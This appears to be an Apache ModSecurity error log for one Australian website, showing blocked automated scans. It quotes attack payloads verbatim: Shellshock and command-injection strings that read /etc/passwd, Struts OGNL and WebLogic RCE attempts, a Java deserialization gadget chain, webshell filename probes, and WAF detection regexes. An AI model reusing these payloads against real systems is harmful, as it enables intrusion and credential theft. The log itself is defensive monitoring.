[Wed Nov 19 15:55:08.174903 2025] [:error] [pid 12673:tid 12722] [client 144.48.39.124:46706] [client 144.48.39.124] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /webadm/?q=moni_detail.do&action=gragh"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/webadm/"] [unique_id "aR133Mab1F0fb062dH0xyQAAAhI"]
[Wed Nov 19 15:55:08.175449 2025] [:error] [pid 12673:tid 12724] [client 144.48.39.124:46646] File does not exist: /usr/local/apache/htdocs/suspended-page/mailingupgrade.php
[Wed Nov 19 15:55:08.178680 2025] [:error] [pid 6555:tid 6592] [client 144.48.39.124:46738] [client 144.48.39.124] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /fuel/pages/select/?filter=%27%2bpi(print(%24a%3d%27system%27))%2b%24a(%27cat%20/etc/passwd%27)%2b%27"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/fuel/pages/select/"] [unique_id "aR133EbVJm8eMsGMTCMMUAAAAEE"]
[Wed Nov 19 15:55:08.182423 2025] [:error] [pid 12673:tid 12707] [client 144.48.39.124:46716] [client 144.48.39.124] ModSecurity: Access denied with code 403 (phase 2). Found 161 byte(s) in ARGS_NAMES:\\xac\\xed\\x00\\x05sr\\x00\\x11java.util.HashSet\\xbaD\\x85\\x95\\x96\\xb8\\xb74\\x03\\x00\\x00xpw\\x0c\\x00\\x00\\x00\\x02?@\\x00\\x00\\x00\\x00\\x00\\x01sr\\x004org.apache.commons.collections.keyvalue.TiedMapEntry\\x8a\\xad\\xd2\\x9b9\\xc1\\x1f\\xdb\\x02\\x00\\x02L\\x00\\x03keyt\\x00\\x12Ljava/lang/Object;L\\x00\\x03mapt\\x00\\x0fLjava/util/Map;xpt\\x00\\x03foosr\\x00*org.apache.commons.collections.map.LazyMapn\\xe5\\x94\\x82\\x9ey\\x10\\x94\\x03\\x00\\x01L\\x00\\x07factoryt\\x00,Lorg/apache/commons/collections/Transformer;xpsr\\x00:org.apache.commons.collections.functors.ChainedTransformer0\\xc7\\x97\\xec(z\\x97\\x04\\x02\\x00\\x01[\\x00\\riTransformerst\\x00-[Lorg/apache/commons/collections/Transformer;xpur\\x00-[Lorg.apache.commons.collections.Transformer;\\xbdV*\\xf1\\xd84\\x18\\x99\\x02\\x00\\x00xp\\x00\\x00\\x00\\x05sr\\x00;org.apache.commons.collections.functors.ConstantTransformerXv\\x90\\x11A\\x02\\xb1\\x94\\x02\\x00\\x01L\\x00\\tiConstantq\\x00~\\x00\\x03xpvr\\x00\\x11java.lang.Runtime\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00 [hostname "windfarmcoolants.com.au"] [uri "/com.example.TestService"] [unique_id "aR133Mab1F0fb062dH0xygAAAgM"]
[Wed Nov 19 15:55:08.184515 2025] [:error] [pid 6554:tid 6578] [client 144.48.39.124:46690] [client 144.48.39.124] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /cgi-bin/kerbynet?Action=StartSessionSubmit&User='%0acat%20/etc/passwd%0a'&PW"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/cgi-bin/kerbynet"] [unique_id "aR133N8rvPWLafJFqmXSxgAAABI"]
[Wed Nov 19 15:55:08.185054 2025] [:error] [pid 6555:tid 6594] [client 144.48.39.124:46734] [client 144.48.39.124] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)((?:\\\\bx(?:link:href|html|mlns)|!ENTITY\\\\b.{0,399}?\\\\b(?:SYSTEM|PUBLIC)|\\\\bdata:text\\\\/html))" at ARGS:stagingTaskData. [file "/usr/local/apache/modsecurity-cwaf/rules/07_XSS_XSS.conf"] [line "170"] [id "213060"] [rev "7"] [msg "COMODO WAF: XSS Filter - Category 3: Attribute Vector||windfarmcoolants.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "XSS"] [hostname "windfarmcoolants.com.au"] [uri "/CMSPages/Staging/SyncServer.asmx/ProcessSynchronizationTaskData"] [unique_id "aR133EbVJm8eMsGMTCMMUQAAAEM"]
[Wed Nov 19 15:55:09.167204 2025] [:error] [pid 12673:tid 12721] [client 144.48.39.124:58894] [client 144.48.39.124] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /bsh.servlet.BshServlet"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/bsh.servlet.BshServlet"] [unique_id "aR133cab1F0fb062dH0xzAAAAhE"]
[Wed Nov 19 15:55:09.173335 2025] [:error] [pid 6554:tid 6581] [client 144.48.39.124:58926] File does not exist: /usr/local/apache/htdocs/suspended-page/upgrade_handle.php
[Wed Nov 19 15:55:09.174081 2025] [:error] [pid 12643:tid 12665] [client 144.48.39.124:58940] [client 144.48.39.124] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /webadm/?q=moni_detail.do&action=gragh"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/webadm/"] [unique_id "aR133caLCNSdLHNAGt7I9AAAAZM"]
[Wed Nov 19 15:55:10.168920 2025] [:error] [pid 6644:tid 6650] [client 144.48.39.124:58952] [client 144.48.39.124] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /PDC/ajaxreq.php?PARAM=127.0.0.1+-c+0%3B+cat+%2Fetc%2Fpasswd&DIAGNOSIS=PING"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/PDC/ajaxreq.php"] [unique_id "aR133k0i6Rf788MB6sZ8egAAAMQ"]
[Wed Nov 19 15:55:10.174977 2025] [:error] [pid 6644:tid 6667] [client 144.48.39.124:58986] [client 144.48.39.124] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /?name=%25%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23_memberAccess%3F%28%23_memberAccess%3D%23dm%29%3A%28%28%23container%3D%23context%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ognlUtil%3D%23container.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ognlUtil.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ognlUtil.getExcludedClasses%28%29.clear%28%29%29.%28%23context.setMemberAccess..."] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "aR133k0i6Rf788MB6sZ8fAAAANU"]
[Wed Nov 19 15:55:11.170443 2025] [:error] [pid 12673:tid 12720] [client 144.48.39.124:59034] [client 144.48.39.124] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "windfarmcoolants.com.au"] [uri "/soap.cgi"] [unique_id "aR1338ab1F0fb062dH0x0AAAAhA"]
[Wed Nov 19 15:55:11.172223 2025] [:error] [pid 12673:tid 12720] [client 144.48.39.124:59034] [client 144.48.39.124] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||windfarmcoolants.com.au|F|2"] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "windfarmcoolants.com.au"] [uri "/soap.cgi"] [unique_id "aR1338ab1F0fb062dH0x0AAAAhA"]
[Wed Nov 19 15:55:14.169245 2025] [:error] [pid 12643:tid 12670] [client 144.48.39.124:59082] [client 144.48.39.124] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /account"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/account"] [unique_id "aR134saLCNSdLHNAGt7I-QAAAZg"]
[Wed Nov 19 15:55:22.162466 2025] [:error] [pid 12673:tid 12726] [client 144.48.39.124:58148] [client 144.48.39.124] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^(?:\\\\'\\\\w+?=)?\\\\(\\\\)\\\\s{" at MATCHED_VAR. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "77"] [id "221260"] [rev "3"] [msg "COMODO WAF: Shellshock Command Injection Vulnerabilities in GNU Bash through 4.3 bash43-026 (CVE-2014-7187, CVE-2014-7186, CVE-2014-7169, CVE-2014-6278, CVE-2014-6277, CVE-2014-6271)||windfarmcoolants.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/cgi-bin/stats"] [unique_id "aR136sab1F0fb062dH0x2QAAAhY"], referer: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
[Wed Nov 19 15:55:22.162560 2025] [:error] [pid 12673:tid 12724] [client 144.48.39.124:58164] [client 144.48.39.124] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^(?:\\\\'\\\\w+?=)?\\\\(\\\\)\\\\s{" at MATCHED_VAR. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "77"] [id "221260"] [rev "3"] [msg "COMODO WAF: Shellshock Command Injection Vulnerabilities in GNU Bash through 4.3 bash43-026 (CVE-2014-7187, CVE-2014-7186, CVE-2014-7169, CVE-2014-6278, CVE-2014-6277, CVE-2014-6271)||windfarmcoolants.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "aR136sab1F0fb062dH0x2gAAAhQ"], referer: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
[Wed Nov 19 15:55:22.164119 2025] [:error] [pid 6644:tid 6656] [client 144.48.39.124:58186] [client 144.48.39.124] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^(?:\\\\'\\\\w+?=)?\\\\(\\\\)\\\\s{" at MATCHED_VAR. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "77"] [id "221260"] [rev "3"] [msg "COMODO WAF: Shellshock Command Injection Vulnerabilities in GNU Bash through 4.3 bash43-026 (CVE-2014-7187, CVE-2014-7186, CVE-2014-7169, CVE-2014-6278, CVE-2014-6277, CVE-2014-6271)||windfarmcoolants.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/cgi-bin/test-cgi"] [unique_id "aR136k0i6Rf788MB6sZ8igAAAMo"], referer: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
[Wed Nov 19 15:55:22.164515 2025] [:error] [pid 6644:tid 6659] [client 144.48.39.124:58192] [client 144.48.39.124] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^(?:\\\\'\\\\w+?=)?\\\\(\\\\)\\\\s{" at MATCHED_VAR. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "77"] [id "221260"] [rev "3"] [msg "COMODO WAF: Shellshock Command Injection Vulnerabilities in GNU Bash through 4.3 bash43-026 (CVE-2014-7187, CVE-2014-7186, CVE-2014-7169, CVE-2014-6278, CVE-2014-6277, CVE-2014-6271)||windfarmcoolants.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/cgi-bin/status/status.cgi"] [unique_id "aR136k0i6Rf788MB6sZ8iwAAAM0"], referer: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
[Wed Nov 19 15:55:22.165541 2025] [:error] [pid 6644:tid 6660] [client 144.48.39.124:58176] [client 144.48.39.124] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^(?:\\\\'\\\\w+?=)?\\\\(\\\\)\\\\s{" at MATCHED_VAR. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "77"] [id "221260"] [rev "3"] [msg "COMODO WAF: Shellshock Command Injection Vulnerabilities in GNU Bash through 4.3 bash43-026 (CVE-2014-7187, CVE-2014-7186, CVE-2014-7169, CVE-2014-6278, CVE-2014-6277, CVE-2014-6271)||windfarmcoolants.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/cgi-bin/status"] [unique_id "aR136k0i6Rf788MB6sZ8jAAAAM4"], referer: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
[Wed Nov 19 15:55:22.165971 2025] [:error] [pid 6556:tid 6622] [client 144.48.39.124:58208] [client 144.48.39.124] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^(?:\\\\'\\\\w+?=)?\\\\(\\\\)\\\\s{" at MATCHED_VAR. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "77"] [id "221260"] [rev "3"] [msg "COMODO WAF: Shellshock Command Injection Vulnerabilities in GNU Bash through 4.3 bash43-026 (CVE-2014-7187, CVE-2014-7186, CVE-2014-7169, CVE-2014-6278, CVE-2014-6277, CVE-2014-6271)||windfarmcoolants.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/cgi-bin/test"] [unique_id "aR136puL7hhgrmdM1mv8VAAAAIQ"], referer: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
[Wed Nov 19 15:55:22.167926 2025] [:error] [pid 6919:tid 6933] [client 144.48.39.124:58224] [client 144.48.39.124] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^(?:\\\\'\\\\w+?=)?\\\\(\\\\)\\\\s{" at MATCHED_VAR. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "77"] [id "221260"] [rev "3"] [msg "COMODO WAF: Shellshock Command Injection Vulnerabilities in GNU Bash through 4.3 bash43-026 (CVE-2014-7187, CVE-2014-7186, CVE-2014-7169, CVE-2014-6278, CVE-2014-6277, CVE-2014-6271)||windfarmcoolants.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/debug.cgi"] [unique_id "aR136kYFdN1s_9xJVUlOUAAAAQs"], referer: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
[Wed Nov 19 15:55:22.170523 2025] [:error] [pid 26664:tid 26687] [client 144.48.39.124:58236] [client 144.48.39.124] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^(?:\\\\'\\\\w+?=)?\\\\(\\\\)\\\\s{" at MATCHED_VAR. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "77"] [id "221260"] [rev "3"] [msg "COMODO WAF: Shellshock Command Injection Vulnerabilities in GNU Bash through 4.3 bash43-026 (CVE-2014-7187, CVE-2014-7186, CVE-2014-7169, CVE-2014-6278, CVE-2014-6277, CVE-2014-6271)||windfarmcoolants.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/cgi-bin/test.cgi"] [unique_id "aR136opWc1yoj2P7MeDY4QAAAVM"], referer: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
[Wed Nov 19 15:55:22.170717 2025] [:error] [pid 6644:tid 6654] [client 144.48.39.124:58202] [client 144.48.39.124] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^(?:\\\\'\\\\w+?=)?\\\\(\\\\)\\\\s{" at MATCHED_VAR. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "77"] [id "221260"] [rev "3"] [msg "COMODO WAF: Shellshock Command Injection Vulnerabilities in GNU Bash through 4.3 bash43-026 (CVE-2014-7187, CVE-2014-7186, CVE-2014-7169, CVE-2014-6278, CVE-2014-6277, CVE-2014-6271)||windfarmcoolants.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/test.cgi"] [unique_id "aR136k0i6Rf788MB6sZ8jQAAAMg"], referer: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
[Wed Nov 19 20:35:58.563172 2025] [:error] [pid 6919:tid 6944] [client 104.196.176.201:57709] [client 104.196.176.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/media/system/js/core.js"] [unique_id "aR25rkYFdN1s_9xJVUmBjwAAARY"]
[Wed Nov 19 20:40:25.462935 2025] [:error] [pid 6556:tid 6622] [client 185.102.115.93:49140] File does not exist: /usr/local/apache/htdocs/suspended-page/zoom1.php
[Thu Nov 20 00:10:29.027248 2025] [:error] [pid 26664:tid 26691] [client 185.50.25.14:60365] [client 185.50.25.14] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.50.25.14, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aR3r9YpWc1yoj2P7MeAjTgAAAVc"]
[Thu Nov 20 00:10:29.031040 2025] [:error] [pid 26664:tid 26691] [client 185.50.25.14:60365] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Thu Nov 20 00:30:43.566910 2025] [:error] [pid 50475:tid 50532] [client 144.48.39.124:48366] [client 144.48.39.124] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(?:cmd(?:\\\\b[^a-zA-Z0-9_]{0,}?\\\\/c|(?:32){0,1}\\\\.exe\\\\b)|(?:ftp|n(?:c|et|map)|rcmd|telnet|w(?:guest|sh))\\\\.exe\\\\b)" at MATCHED_VAR. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "60"] [id "211200"] [rev "3"] [msg "COMODO WAF: System Command Access||www.windfarmcoolants.com.au|F|2"] [data "Matched Data: cmd.exe found within ARGS:handle: com.tangosol.coherence.mvel2.sh.shellsession(weblogic.work.executethread executethread =(weblogic.work.executethread) thread.currentthread() weblogic.work.workadapter adapter = executethread.getcurrentwork() java.lang.reflect.field field = adapter.getclass().getdeclaredfield(connectionhandler) field.setaccessible(true) object obj = field.get(adapter) weblogic.servlet.internal.servletrequestimpl req =(weblogic.servlet.internal.servletrequestimpl) obj.getclas..."] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/console/css/%2e%2e%2fconsole.portal"] [unique_id "aR3ws1zRy2BTBjqrUmkSdQAAAQo"]
[Thu Nov 20 00:30:43.643636 2025] [:error] [pid 50475:tid 50523] [client 144.48.39.124:48380] [client 144.48.39.124] ModSecurity: Access denied with code 403 (phase 1). Match of "endsWith /wp-cron.php" against "REQUEST_FILENAME" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "103"] [id "217200"] [rev "2"] [msg "COMODO WAF: HTTP/1.1 POST request missing Content-Length Header||www.windfarmcoolants.com.au|F|2"] [data "/guest_auth/guestisup.php"] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "www.windfarmcoolants.com.au"] [uri "/guest_auth/guestIsUp.php"] [unique_id "aR3ws1zRy2BTBjqrUmkSdgAAAQE"]
[Thu Nov 20 02:45:56.347407 2025] [:error] [pid 8909:tid 8960] [client 205.185.127.199:59317] [client 205.185.127.199] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 205.185.127.199, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aR4QZGnKNOWZ-UbT97B8QwAAA9U"], referer: https://www.yahoo.com/
[Thu Nov 20 02:45:56.351593 2025] [:error] [pid 8909:tid 8960] [client 205.185.127.199:59317] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php, referer: https://www.yahoo.com/
[Thu Nov 20 02:53:36.866452 2025] [:error] [pid 11265:tid 11275] [client 4.206.89.49:17385] File does not exist: /usr/local/apache/htdocs/suspended-page/new4.php, referer: https://www.yahoo.com/
[Thu Nov 20 02:53:37.100353 2025] [:error] [pid 11265:tid 11271] [client 4.206.89.49:17385] File does not exist: /usr/local/apache/htdocs/suspended-page/bolt.php, referer: https://www.google.de/
[Thu Nov 20 02:53:37.324240 2025] [:error] [pid 11265:tid 11285] [client 4.206.89.49:17385] File does not exist: /usr/local/apache/htdocs/suspended-page/ava.php, referer: https://www.yahoo.com/
[Thu Nov 20 02:53:37.553991 2025] [:error] [pid 11265:tid 11280] [client 4.206.89.49:17385] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-links-opml.php, referer: https://www.bing.com/
[Thu Nov 20 02:53:39.314508 2025] [:error] [pid 11265:tid 11274] [client 4.206.89.49:17385] File does not exist: /usr/local/apache/htdocs/suspended-page/pow.php, referer: https://duckduckgo.com/
[Thu Nov 20 02:53:39.529321 2025] [:error] [pid 11265:tid 11277] [client 4.206.89.49:17385] File does not exist: /usr/local/apache/htdocs/suspended-page/zuk.php, referer: https://www.yahoo.com/
[Thu Nov 20 02:53:40.902724 2025] [:error] [pid 11265:tid 11278] [client 4.206.89.49:17385] File does not exist: /usr/local/apache/htdocs/suspended-page/fss.php, referer: https://duckduckgo.com/
[Thu Nov 20 02:53:41.121686 2025] [:error] [pid 11265:tid 11271] [client 4.206.89.49:17385] File does not exist: /usr/local/apache/htdocs/suspended-page/test1.php, referer: https://duckduckgo.com/
[Thu Nov 20 02:53:41.353769 2025] [:error] [pid 11265:tid 11285] [client 4.206.89.49:17385] File does not exist: /usr/local/apache/htdocs/suspended-page/core.php, referer: https://www.google.co.uk/
[Thu Nov 20 02:53:41.574032 2025] [:error] [pid 11265:tid 11276] [client 4.206.89.49:17385] File does not exist: /usr/local/apache/htdocs/suspended-page/elp.php, referer: https://duckduckgo.com/
[Thu Nov 20 02:53:41.783050 2025] [:error] [pid 11265:tid 11269] [client 4.206.89.49:17385] File does not exist: /usr/local/apache/htdocs/suspended-page/new.php, referer: https://www.google.fr/
[Thu Nov 20 02:53:42.008142 2025] [:error] [pid 11265:tid 11283] [client 4.206.89.49:17385] File does not exist: /usr/local/apache/htdocs/suspended-page/fox.php, referer: https://www.bing.com/
[Thu Nov 20 02:53:42.439270 2025] [:error] [pid 11265:tid 11282] [client 4.206.89.49:17385] File does not exist: /usr/local/apache/htdocs/suspended-page/wso.php, referer: https://www.yahoo.com/
[Thu Nov 20 02:53:42.683650 2025] [:error] [pid 11265:tid 11267] [client 4.206.89.49:17385] File does not exist: /usr/local/apache/htdocs/suspended-page/sts.php, referer: https://www.google.fr/
[Thu Nov 20 02:53:43.139109 2025] [:error] [pid 11265:tid 11275] [client 4.206.89.49:17385] File does not exist: /usr/local/apache/htdocs/suspended-page/1.php, referer: https://www.bing.com/
[Thu Nov 20 02:53:43.361579 2025] [:error] [pid 11265:tid 11286] [client 4.206.89.49:17385] File does not exist: /usr/local/apache/htdocs/suspended-page/aa.php, referer: https://www.google.com/
[Thu Nov 20 02:53:43.620295 2025] [:error] [pid 11265:tid 11288] [client 4.206.89.49:17385] File does not exist: /usr/local/apache/htdocs/suspended-page/about.php, referer: https://www.google.fr/
[Thu Nov 20 02:53:43.831418 2025] [:error] [pid 11265:tid 11270] [client 4.206.89.49:17385] File does not exist: /usr/local/apache/htdocs/suspended-page/admin.php, referer: https://www.google.fr/
[Thu Nov 20 02:53:44.056193 2025] [:error] [pid 11265:tid 11287] [client 4.206.89.49:17385] File does not exist: /usr/local/apache/htdocs/suspended-page/admin.php, referer: https://duckduckgo.com/
[Thu Nov 20 02:53:44.288904 2025] [:error] [pid 11265:tid 11278] [client 4.206.89.49:17385] File does not exist: /usr/local/apache/htdocs/suspended-page/akc.php, referer: https://www.yahoo.com/
[Thu Nov 20 02:53:44.712069 2025] [:error] [pid 11265:tid 11285] [client 4.206.89.49:17385] File does not exist: /usr/local/apache/htdocs/suspended-page/asasx.php, referer: https://www.bing.com/
[Thu Nov 20 02:53:44.944112 2025] [:error] [pid 11265:tid 11269] [client 4.206.89.49:17385] File does not exist: /usr/local/apache/htdocs/suspended-page/atomlib.php, referer: https://www.bing.com/
[Thu Nov 20 02:53:45.153108 2025] [:error] [pid 11265:tid 11290] [client 4.206.89.49:17385] File does not exist: /usr/local/apache/htdocs/suspended-page/autoload_classmap.php, referer: https://www.bing.com/
[Thu Nov 20 02:53:45.368465 2025] [:error] [pid 11265:tid 11280] [client 4.206.89.49:17385] File does not exist: /usr/local/apache/htdocs/suspended-page/buy.php, referer: https://www.bing.com/
[Thu Nov 20 02:53:45.611824 2025] [:error] [pid 11265:tid 11272] [client 4.206.89.49:17385] File does not exist: /usr/local/apache/htdocs/suspended-page/chosen.php, referer: https://www.google.fr/
[Thu Nov 20 02:53:45.822768 2025] [:error] [pid 11265:tid 11268] [client 4.206.89.49:17385] File does not exist: /usr/local/apache/htdocs/suspended-page/classwithtostring.php, referer: https://duckduckgo.com/
[Thu Nov 20 02:53:46.074789 2025] [:error] [pid 11265:tid 11282] [client 4.206.89.49:17385] File does not exist: /usr/local/apache/htdocs/suspended-page/cong.php, referer: https://www.google.de/
[Thu Nov 20 02:53:46.294668 2025] [:error] [pid 11265:tid 11267] [client 4.206.89.49:17385] File does not exist: /usr/local/apache/htdocs/suspended-page/default.php, referer: https://www.google.com/
[Thu Nov 20 02:53:46.723645 2025] [:error] [pid 11265:tid 11277] [client 4.206.89.49:17385] File does not exist: /usr/local/apache/htdocs/suspended-page/dropdown.php, referer: https://www.google.fr/
[Thu Nov 20 02:53:47.146468 2025] [:error] [pid 11265:tid 11286] [client 4.206.89.49:17385] File does not exist: /usr/local/apache/htdocs/suspended-page/ioxi-o.php, referer: https://duckduckgo.com/
[Thu Nov 20 02:53:48.050125 2025] [:error] [pid 11265:tid 11287] [client 4.206.89.49:17385] File does not exist: /usr/local/apache/htdocs/suspended-page/item.php, referer: https://www.google.com/
[Thu Nov 20 02:53:48.261638 2025] [:error] [pid 11265:tid 11278] [client 4.206.89.49:17385] File does not exist: /usr/local/apache/htdocs/suspended-page/makeasmtp.php, referer: https://www.bing.com/
[Thu Nov 20 02:53:48.686210 2025] [:error] [pid 11265:tid 11285] [client 4.206.89.49:17385] File does not exist: /usr/local/apache/htdocs/suspended-page/abcd.php, referer: https://www.google.co.uk/
[Thu Nov 20 02:53:48.896810 2025] [:error] [pid 11265:tid 11269] [client 4.206.89.49:17385] File does not exist: /usr/local/apache/htdocs/suspended-page/ds.php, referer: https://www.yahoo.com/
[Thu Nov 20 02:53:49.194219 2025] [:error] [pid 11265:tid 11281] [client 4.206.89.49:17385] File does not exist: /usr/local/apache/htdocs/suspended-page/alfa.php, referer: https://www.google.co.uk/
[Thu Nov 20 02:53:49.445542 2025] [:error] [pid 11265:tid 11268] [client 4.206.89.49:17385] File does not exist: /usr/local/apache/htdocs/suspended-page/hplfuns.php, referer: https://duckduckgo.com/
